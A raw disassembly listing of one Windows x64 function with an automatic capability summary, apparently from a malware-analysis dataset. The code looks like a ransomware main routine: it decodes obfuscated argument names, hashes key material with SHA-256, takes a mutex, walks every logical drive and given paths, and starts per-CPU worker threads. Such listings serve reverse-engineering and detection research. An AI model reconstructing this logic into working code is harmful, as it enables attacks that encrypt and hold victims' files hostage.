Function at 0x1400458c0
Capabilities:
Accept command line arguments
Create thread
Get disk information
Get system information on windows
Hash data using sha256
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rbp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [0x140076e58], rax
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
call fcn.1400536c0
mov dword [rsp + 0x44], eax
xor edi, edi
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r14, rax
mov qword [rsp + 0x50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
lea rdx, [0x14001a528]
mov r9d, 1
mov r10d, dword [rsp + 0x40]
cmp r10d, r9d
jle 0x140045997
lea r8, [r14 + 8]
mov rax, qword [r8]
cmp word [rax], 0x2d
jne 0x14004598b
add rax, 2
cmp word [rax], 0x2d
je 0x140045960
nop word [rax + rax]
movzx ecx, word [rdx]
test cx, cx
je 0x140045a8b
cmp cx, word [rax]
jne 0x14004598b
add rdx, 2
add rax, 2
jmp 0x140045970
inc r9d
add r8, 8
cmp r9d, r10d
jl 0x140045957
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x2e54
mov eax, dword [rcx + rbx]
mov esi, 0x2f10
mov r15d, 0xc9
test al, 1
jne 0x1400459f6
or eax, 1
mov dword [rcx + rbx], eax
mov byte [rsi + rbx + 0x10], 1
mov dword [rsi + rbx], 0x1a00fc
mov dword [rsi + rbx + 4], 0x320049
mov dword [rsi + rbx + 8], 0x5f0098
mov dword [rsi + rbx + 0xc], 0xc900b6
lea rcx, [0x14006be40]
call fcn.140048870
nop
mov r10d, dword [rsp + 0x40]
lea rcx, [rsi + rbx]
cmp byte [rcx + 0x10], 0
je 0x140045a37
mov eax, 0x9f
xor word [rcx], ax
xor word [rcx + 2], 0x75
xor word [rcx + 4], 0x27
xor word [rcx + 6], 0x41
mov eax, 0xf7
xor word [rcx + 8], ax
xor word [rcx + 0xa], 0x33
mov eax, 0xd3
xor word [rcx + 0xc], ax
xor word [rcx + 0xe], r15w
mov byte [rcx + 0x10], 0
mov r9d, 1
cmp r10d, r9d
jle 0x140045b06
lea r8, [r14 + 8]
nop word [rax + rax]
mov rax, qword [r8]
cmp word [rax], 0x2d
jne 0x140045af6
nop dword [rax]
add rax, 2
cmp word [rax], 0x2d
je 0x140045a60
nop word [rax + rax]
movzx edx, word [rcx]
test dx, dx
je 0x140045bf7
cmp dx, word [rax]
jne 0x140045af6
add rcx, 2
add rax, 2
jmp 0x140045a70
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [0x14001a530]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140045aeb
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x44]
mov r8d, 0x21
lea rdx, [0x140073a58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call fcn.140053660
int3
inc r9d
add r8, 8
cmp r9d, r10d
jl 0x140045a50
mov r8d, edi
mov edx, 8
mov rcx, r14
lea rsi, [rcx + rdx]
mov dword [0x140076d88], r8d
mov edx, 0x2c58
mov ecx, dword [rdx + rbx]
mov r14d, 0x2b48
mov r15d, 0x80
test cl, 1
jne 0x140045b76
or ecx, 1
mov dword [rdx + rbx], ecx
mov byte [rbx + r14 + 0x10], 1
mov dword [rbx + r14], 0x80077
mov dword [rbx + r14 + 4], 0x8000ad
mov dword [rbx + r14 + 8], 0x640053
mov dword [rbx + r14 + 0xc], 0x2f003e
lea rcx, [0x14006be20]
call fcn.140048870
nop
mov r10d, dword [rsp + 0x40]
lea rcx, [rbx + r14]
cmp byte [rcx + 0x10], 0
je 0x140045bb3
xor word [rcx], 0x11
xor word [rcx + 2], 0x61
mov eax, 0xc1
xor word [rcx + 4], ax
mov eax, 0xe5
xor word [rcx + 6], ax
xor word [rcx + 8], 0x3f
xor word [rcx + 0xa], 0xb
xor word [rcx + 0xc], 0x59
xor word [rcx + 0xe], 0x2f
mov byte [rcx + 0x10], 0
mov r8d, 1
cmp r10d, r8d
jle 0x140045c72
mov rax, qword [rsi]
cmp word [rax], 0x2d
jne 0x140045c02
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0x2d
je 0x140045bd0
nop word [rax + rax]
movzx edx, word [rcx]
test dx, dx
je 0x140045c10
cmp dx, word [rax]
jne 0x140045c02
add rcx, 2
add rax, 2
jmp 0x140045be0
mov r8d, 1
jmp 0x140045b09
inc r8d
add rsi, 8
cmp r8d, r10d
jge 0x140045c72
jmp 0x140045bc2
mov dword [0x140076d84], 1
lea rcx, [0x140076e30]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [0x14001a508]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140073a50], rax
cmp rax, 0xffffffffffffffff
jne 0x140045c78
lea rdx, [0x14001a540]
lea rcx, [0x14001a56c]
call fcn.1400302c0
mov dword [0x140076d84], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp - 0x30], edi
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x20], 0x6a09e667
mov dword [rbp - 0x1c], 0xbb67ae85
mov dword [rbp - 0x18], 0x3c6ef372
mov dword [rbp - 0x14], 0xa54ff53a
mov dword [rbp - 0x10], 0x510e527f
mov dword [rbp - 0xc], 0x9b05688c
mov dword [rbp - 8], 0x1f83d9ab
mov dword [rbp - 4], 0x5be0cd19
lea rbx, [0x140073a58]
mov esi, 0x21
mov eax, edi
mov ecx, eax
movzx eax, byte [rbx]
mov byte [rbp + rcx - 0x70], al
mov eax, dword [rbp - 0x30]
inc eax
mov dword [rbp - 0x30], eax
cmp eax, 0x40
jne 0x140045d00
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140022c50
add qword [rbp - 0x28], 0x200
mov dword [rbp - 0x30], edi
mov eax, edi
inc rbx
sub rsi, 1
jne 0x140045cd0
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x70]
call fcn.1400231e0
mov rax, qword [rbp + 0x10]
mov qword [0x140076d90], rax
lea r8d, [rsi + 0x20]
lea rdx, [0x140075a88]
lea rcx, [rbp + 0x10]
call fcn.1400614f0
test eax, eax
je 0x140045da7
call fcn.1400464f0
mov rcx, rax
call fcn.1400483d0
mov r8, rax
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea rcx, [rbp + 0x10]
call fcn.14002fe50
mov rdi, rax
lea rcx, [0x140075a88]
call fcn.14002fe50
mov rbx, rax
call fcn.140046600
mov rcx, rax
call fcn.140048320
mov r8, rax
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea ecx, [rsi - 1]
call fcn.140053660
int3
call fcn.140022860
test eax, eax
jne 0x140045de2
call fcn.140046740
mov rcx, rax
call fcn.140048290
mov r8, rax
mov r9d, 0x3f1
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
mov ecx, 0xffffffff
call fcn.140053660
int3
mov dword [rbp + 8], edi
movaps xmm0, xmmword [0x1400095f0]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [0x140009600]
movaps xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140009610]
movsd qword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140009618]
movups xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [0x140009628]
movups xmmword [rbp - 0x38], xmm0
movsd xmm0, qword [0x140009638]
movsd qword [rbp - 0x28], xmm0
mov qword [rbp - 0x20], 1
mov qword [rbp], rdi
mov qword [rbp - 8], rdi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x70]
lea rcx, [0x1400f6fa0]
call fcn.140025d10
cmp dword [rbp + 8], 0
je 0x140045e9e
mov dword [rbp + 8], 1
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov qword [rbp], rdi
jmp 0x140045eab
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140023a60
sub r15, 1
jne 0x140045e53
lea r8, [rbp - 0x70]
lea rcx, [0x140076fa0]
call fcn.140025d10
call fcn.140043060
test eax, eax
jne 0x140045ef5
call fcn.140046850
mov rcx, rax
call fcn.140048200
mov r8, rax
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea ecx, [r15 - 1]
call fcn.140053660
int3
call fcn.140031360
call fcn.140036e10
call fcn.1400303a0
call fcn.14002f1e0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400458a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x78]
lea ecx, [rax*4]
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov edx, 0x40
cmp eax, edx
cmovg eax, edx
mov dword [0x140076d8c], eax
lea edx, [rcx + rcx*2]
add edx, edx
lea rcx, [0x140076e60]
call fcn.1400237c0
mov eax, dword [0x140076d8c]
lea edx, [rax + rax*2]
lea rcx, [0x140076f30]
call fcn.1400237c0
movsxd rcx, dword [0x140076d8c]
shl rcx, 3
call fcn.1400237a0
mov r12, rax
mov qword [rsp + 0x48], rax
movsxd rcx, dword [0x140076d8c]
shl rcx, 3
call fcn.1400237a0
mov r13, rax
movsxd rcx, dword [0x140076d8c]
imul rcx, rcx, 0x1c
call fcn.1400237a0
mov qword [0x140076db8], rax
movsxd rcx, dword [0x140076d8c]
imul rcx, rcx, 0x1c
call fcn.1400237a0
mov qword [0x140076dc0], rax
test r12, r12
je 0x140046491
test r13, r13
je 0x140046491
movsxd r8, dword [0x140076d8c]
shl r8, 3
mov rcx, r12
call fcn.140023760
movsxd r8, dword [0x140076d8c]
shl r8, 3
mov rcx, r13
call fcn.140023760
movsxd rcx, dword [0x140076d8c]
imul r8, rcx, 0x1c
mov rcx, qword [0x140076db8]
call fcn.140023760
movsxd rcx, dword [0x140076d8c]
imul r8, rcx, 0x1c
mov rcx, qword [0x140076dc0]
call fcn.140023760
mov r14d, edi
cmp dword [0x140076d8c], edi
jle 0x1400460ee
mov rsi, rdi
mov r15, r13
sub r12, r13
mov rcx, qword [0x140076db8]
mov dword [rsi + rcx], r14d
mov dword [rsi + rcx + 8], 1
mov dword [rsi + rcx + 4], 1
movsxd rax, r14d
imul rbx, rax, 0x1c
lea r9, [rbx + rcx]
lea rax, [r9 + 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
lea r8, [0x140044b40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [r12 + r15], rax
mov rax, qword [0x140076dc0]
mov dword [rsi + rax], r14d
mov qword [rsi + rax + 4], 1
lea r9, [rbx + rax]
lea rax, [r9 + 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
lea r8, [0x140044b40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [r15], rax
inc r14d
lea rsi, [rsi + 0x1c]
lea r15, [r15 + 8]
cmp r14d, dword [0x140076d8c]
jl 0x140046050
mov r12, qword [rsp + 0x48]
call fcn.140046960
mov rcx, rax
call fcn.1400481d0
mov r8, rax
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x40]
call fcn.1400225b0
mov rsi, rax
call fcn.1400469d0
mov rcx, rax
call fcn.140048190
mov r8, rax
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x40]
call fcn.1400225b0
mov r14, rax
test rax, rax
je 0x1400461e0
mov r15d, 1
mov rbx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
test eax, eax
jle 0x140046170
cmp word [r14 + rbx*2], 0x2c
jne 0x140046162
mov word [r14 + rbx*2], di
inc r15d
inc rbx
cmp rbx, rcx
jl 0x140046152
nop word [rax + rax]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
call fcn.1400237a0
mov rbx, rax
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.140046a40
mov rcx, rax
call fcn.140048110
mov r8, rax
mov r9, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
mov rcx, rbx
call fcn.140044f90
mov rcx, rbx
call fcn.140023740
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea r14, [r14 + rax*2]
sub r15d, 1
jne 0x140046170
test rsi, rsi
je 0x140046300
mov r15d, 1
mov rbx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
test eax, eax
jle 0x140046220
cmp word [rsi + rbx*2], 0x2c
jne 0x140046210
mov word [rsi + rbx*2], di
inc r15d
inc rbx
cmp rbx, rcx
jl 0x140046202
nop dword [rax + rax]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
call fcn.1400237a0
mov rbx, rax
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x140046288
cmp word [rbx + 2], 0x3a
jne 0x140046288
call fcn.140046b40
mov rcx, rax
call fcn.140048090
mov r8, rax
mov r9, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
movzx ecx, word [rbx]
call fcn.1400452f0
jmp 0x1400462d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
cmp word [rbx + rcx*2], 0x5c
jne 0x1400462a1
mov word [rbx + rcx*2], di
call fcn.140046c30
mov rcx, rax
call fcn.140048020
mov r8, rax
mov r9, rbx
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
lea rdx, [0x140076e10]
mov rcx, rbx
call fcn.140044820
mov rcx, rbx
call fcn.140023740
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rsi, [rsi + rax*2]
sub r15d, 1
jne 0x140046220
test rsi, rsi
jne 0x1400463b9
test r14, r14
jne 0x1400463b9
call fcn.140046d20
mov rcx, rax
call fcn.140047fc0
mov r8, rax
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x140046398
call fcn.140046dd0
mov rcx, rax
call fcn.140047f60
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
test eax, eax
je 0x14004636e
lea ebx, [r14 + 0x41]
test sil, 1
je 0x140046363
movzx ecx, bx
call fcn.1400452f0
shr esi, 1
inc bx
cmp bx, 0x5a
jbe 0x140046355
call fcn.140046fc0
mov rcx, rax
call fcn.140047e00
mov r8, rax
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
xor ecx, ecx
call fcn.140044ca0
jmp 0x1400463b9
call fcn.140046e80
mov rcx, rax
call fcn.140047ea0
mov r8, rax
mov edx, dword [0x140076d84]
mov ecx, dword [0x140076d88]
call fcn.140023530
mov ebx, edi
mov ecx, dword [0x140076d8c]
test ecx, ecx
jle 0x1400463ee
nop word [rax + rax]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140076f30]
call fcn.140023840
inc ebx
mov ecx, dword [0x140076d8c]
cmp ebx, ecx
jl 0x1400463d0
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ebx, edi
mov ecx, dword [0x140076d8c]
test ecx, ecx
jle 0x14004642e
nop
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140076e60]
call fcn.140023840
inc ebx
mov ecx, dword [0x140076d8c]
cmp ebx, ecx
jl 0x140046410
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.1400303a0
cmp dword [0x140076d8c], 0
jle 0x140046481
mov rbx, r13
mov rsi, r12
sub rsi, r13
nop word [rax + rax]
mov rcx, qword [rbx + rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
lea rbx, [rbx + 8]
cmp edi, dword [0x140076d8c]
jl 0x140046460
mov rcx, r12
call fcn.140023740
mov rcx, r13
call fcn.140023740
call fcn.1400536c0
sub eax, dword [rsp + 0x44]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x14001a590]
movq rdx, xmm1
lea rcx, [0x14001a570]
call fcn.1400234d0
call fcn.1400470d0
mov rcx, qword [0x140076db8]
call fcn.140023740
mov rcx, qword [0x140076dc0]
call fcn.140023740
call fcn.140023710
call fcn.140040530
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]